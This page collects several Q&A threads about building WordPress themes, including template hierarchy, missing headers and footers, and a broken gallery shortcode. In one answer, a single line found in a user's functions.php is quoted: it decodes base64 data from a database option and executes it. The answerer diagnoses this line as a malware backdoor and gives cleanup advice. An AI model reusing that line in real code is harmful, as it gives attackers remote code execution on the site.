Front Page Display (Your latest posts) Blank, other pages fine - php

I am new to PHP and WordPress and I want to develop my theme from scratch.
From the reading settings on WordPress Dashboard I have set for the Front page displays option to 'Your latest posts', but the homepage is blank with no header or footer, although every other page works just fine.
Here is my code for index.php:
<?php get_header(); ?>
<?php
if(have_posts()):
while(have_posts()): the_post(); ?>
<h3><?php the_title(); ?></h3>
<small>Posted on: <?php the_time('F j, Y'); ?> at <?php the_time('g:i a'); ?>, in <?php the_category(); ?></small>
<p><?php the_content(); ?></p>
<hr>
<?php endwhile;
endif;
?>
<?php get_footer(); ?>
Can anyone explain why this is happening?
Thank you.

You may be loading another template which is a blank fil. WordPress has a hierarchy of templates set out in https://developer.wordpress.org/themes/basics/template-hierarchy/#front-page-display.
For your situation the hierarchy is front-page.php, home.php, index.php, so check those first two.

Can you test to register again the permalinks ? You go i nthe dashboard on settings menu > permalinks and you click save.
Sometimes Wordpress need to register again permalinks te reset htaccess when you developp some action ( like create custom post type or others )

Related

Wordpress - template hierarchy for custom page not working

I'm building a Wordpress site using html5blank as a parent theme for the first time. I have my main pages set up and working using page-slug.php naming convention and all works fine. A couple of these pages require sub-pages but for some reason I cannot get these to work. Example -
On of my main pages is titled 'Agency' and within the agency page I have a number of images which act as links to a number (7) of sub-pages -
I've set the first image up with the correct link and page parent/child as so -
page-agency.php
<div class="row">
<div class="twelve columns agencyproducts">
<p>WHAT PRODUCT ARE YOU INTERESTED IN?</p>
<a href="http://localhost:8888/agency/2k4k-production/"><figure>
<img src="http://localhost:8888/wp-content/uploads/2017/07/production.png" alt="Production">
<figcaption>2K / 4K PRODUCTION</figcaption>
</figure></a>
I've saved the sub-page file as page-agency-2k4kproduction.php in the theme file like the other pages. When I click on the link I get the page.php file showing with my header and form templates but not the sub-page code. Here's what I have in the page.php -
page.php
<?php get_header(); ?>
<?php get_template_part('form'); ?>
<?php the_content(); ?>
<?php get_sidebar(); ?>
<?php get_footer(); ?>
In my 2k4kproduction.php file I have this -
page-agency-2k4kproduction.php
<?php get_header(); ?>
<!-- custom code -->
<?php get_template_part('form'); ?>
<?php the_content(); ?>
<?php get_sidebar(); ?>
<?php get_footer(); ?>
Am I missing some steps in the hierarchy process?
I can't figure out why the main pages all work seamlessly but the sub-pages don't. I'v tried other permitations - page-2k4kproduction.php, 2k4kproduction.php, page-8.php and they don't work either.
Do I have to save sub-page files in a different file to the main page file?
Does the page order in in the admin make a difference? FWIW I've placed the sub page as next in line to the last main page (8) rather than start a new number order for sub pages.
Really stumped on this one, I'm sure its something quite obvious but I just can't spot it.
WordPress template hierarchy works perfect with page-$slug.php i don't know what could be the reason may be 2k4kproduction slug issue.
it's better to use page-template instead page-slug workaround because if the slug change it won't show your page. go through this tutorial for custom page template.
template-2k4kproduction.php
<?php /* Template Name: 2k4k Production */ ?>
<?php get_header(); ?>
<!-- custom code -->
<?php get_template_part('form'); ?>
<!-- custom code -->
<?php the_content(); ?>
<?php get_sidebar(); ?>
<?php get_footer(); ?>

WordPress formatting issues with front-page.php

Following this tutorial:
http://blog.teamtreehouse.com/responsive-wordpress-bootstrap-theme-tutorial
The tutorial instructs me to create an index.php with the contents:
<?php get_header(); ?>
<!-- loop-->
<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<h1><?php the_title(); ?></h1>
<?php the_content(); ?>
<?php endwhile; else: ?>
<p><?php _e('Sorry, no posts matched your criteria.'); ?></p>
<?php endif; ?>
<?php get_footer(); ?>
This creates a template with my header on top and footer at the bottom. Then, the tutorial instructs me to create a front-page.php with the contents:
<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<?php the_content(); ?>
<?php endwhile; else: ?>
<p><?php _e('Sorry, no posts matched your criteria.'); ?></p>
<?php endif; ?>
Basically, the same thing as index.php minus a few lines of code, most importantly the <?php get_header(); ?> and <?php get_footer(); ?> commands. The problem is that, when I create this page, my front page no longer has either its header or its footer, or the formatting that lives within the header and footer.
Yet, on the tutorial, the header, footer, and formatting still apply on the front page. What am I doing wrong?
You are doing nothing wrong. The developer probably forgot to mention adding it, that's all.
When you use front-page.php, WordPress doesn't use index.php when rendering the front page and there is no way to include the header and the footer unless you add get_header() and get_footer() to front-page.php.
Add the header and the footer and you should see your front page as the screenshot in the tutorial, and notify the developer to fix this in his tutorial
hi Matt create a page home template and call header and footer in it then you an call posts its worked.
You can create your custom header and footer as well.
Create your custom header like "header-custom.php"
to include this header you need <?php get_header('custom'); ?> after - is the name of your custom header, when you call the header you need to insert name inside the function like i did above.
for footer also same login & sider bar also same logic.
footer-custom.php, sidebar-custom.php
<?php
get_footer('custom');
?>
<?php
get_sidebar('custom');
?>
Thanks.

Default Wordpress [gallery] not showing up in custom theme

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.
Here is the loop for page:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).
And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)
You're site got hacked.
The last line of the pastebin is loading malicious code from your database:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).
try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,
https://wordpress.org/plugins/nextgen-gallery/
do you see any javascript errors in console ?
and what is output of
<?php echo do_shortcode('[gallery]');?>

Why does my static php code disappear when i show wordpress post on front page?

On my frontpage i have a news module that basicly just shows the 5 newest posts from a news category. this is hardcoded into the design likeso:
<h2>Nyheder</h2>
<?php query_posts('category_name=nyheder&posts_per_page=5'); ?>
<?php if (have_posts()) : while (have_posts()) : the_post();?>
<?php the_time('M j, Y'); ?> - <?php the_title(); ?><br /><br />
<?php endwhile; endif; ?>
for some reason when i press one of the news links in this section on my frontpage it displays the news post on my frontpages design but it removes the code that displays the other news topics on the sidebar.
the entire site and problem can be wieved here http://www.acagenturs.dk - Below the jquery banner there is 2 sections. 1 with some text and the other with the title Nyheder. Try pressing one of the news items.
edit: i am displaying the content of the post like this:
<?php wp_reset_query(); ?>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<?php the_content(); ?>
<?php endwhile; endif; ?>
Edit: I have now discovered that when pressing one of the news post links taking me to a post page it also ruins my javascripts controlling the menu. this is very odd
Wordpress have two types of post pages, one shows only part of the post and no comments, and the other shows everything. I don't know hoe your site is structured, but make sure that you are using that function on both pages.
For what I see, there's no logic in your code making stuff disapear...

Not displaying any articles on a custom made file in Wordpress

I have created the file latest.php in the public_html so that when I go to www.domain.com/latest.php it will show me the latest articles. Sadly, nothing of the posts came up. Later, I will sort them with other ways (mostly based on custom fields).
This is my latest.php file (I removed any styling for better understanding)
<?php include("wp-load.php"); ?>
<?php get_header(); ?>
<?php wp_head(); ?>
**AND HERE IS WHAT I COPY-PASTED FROM MY INDEX.PHP THAT IS WORKING**
<?php while (have_posts()) : the_post(); ?>
<a title="" href="<?php echo get_permalink(); ?>" ><?php the_title(); ?></a>
<?php endwhile; // End the loop ?>
<?php posts_nav_link(' ยท ', 'previous page', 'next page'); ?>
My question is how can I make it possible to show the latest articles with pagination ? wp-load.php , wp_head and get_header are loaded correctly.
Should I use an entire different method for my task? If yes, which one?
wordpress does not works this way... if you want to make a custom page. create a new template page in the themes folder and then (from back end) create a new page and assign that template to that page.. this way you can put you custom code in the template file and wordpress can process it

Categories